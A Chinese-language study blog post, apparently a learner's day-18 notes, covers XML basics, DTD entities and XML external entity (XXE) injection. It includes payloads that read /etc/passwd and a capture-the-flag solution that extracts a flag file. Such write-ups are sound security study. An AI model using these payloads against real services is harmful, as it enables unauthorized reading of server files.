学习记录--Day18(xml实体注入漏洞)

XML相关学习

  1. XXE漏洞:
    xml外部实体注入漏洞,该漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发点一般是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
  2. xml:
    xml被设计为传输和存储数据,关注的主要是数据的内容,而html被设计用来显示数据,也就是数据的外观;xml把数据从html分离,是独立于软件和硬件的信息传输工具。
    基本语法:
    1、所有xml元素都必须有关闭标签;
    2、xml标签对大小写敏感;
    3、xml必须正确的嵌套;
    4、xml文档必须有根元素;
    5、xml的属性值需加引号;
    6、五个预定义实体的引用:
 &lt;   <
 &gtt;  >
 &amp;  &
 &apos; '
 &quot; "

在xml中,字符"<“和”&"是非法的,但是对于”<"如果把它放在xml,解析器会把它当作新元素的开始,改变了原本的意义,出现了错误。
7、注释:

<!-- -->

8、在xml中,空格均会被保留,不会合成一个;

  1. DTD
    文档类型定义,使用一系列合法的元素来定义文档的结构。DTD可被成行的声明于xml文档中,也可以作为一个外部引用。
    一些用法:
    在这里插入图片描述
    属性声明:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD-实体:
用于定义引用普通文本或特殊字符的快捷方式的变量,可以在内部或外部进行声明
内部实体:

<!ENTITY 实体名称 "实体的值">
例:
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY xixi "fanfan">
]>
<note>
<name>&xixi;</name>
</note>

外部实体:

<!ENTITY 实体名称 SYSTEM "URL">

参数实体:

<!ENTITY %实体名称 "值"> <!ENTITY %实体名称 SYSTEM "URL">

例:

<?xml version='"1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

%name 是在DTD中被引用的,而&name;是在xml文本中被引用的;xxe漏洞主要是DTD引用外部实体导致。
例题.,题目说明是青蛇饭获得目标机器/home/ctf/flag.txt
在这里插入图片描述
出现一个输入框,抓包,发现json文件类型后缀,修改为xml,利用xxe漏洞
构造:

<?xml version="1.0" ?>
<!DOCTYPE xixi[
<!ENTITY file SYSTEM "file:///home/ctf/flag.txt">
]>
<xixi>&file;</xixi>

得到flag

(未完。。。)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值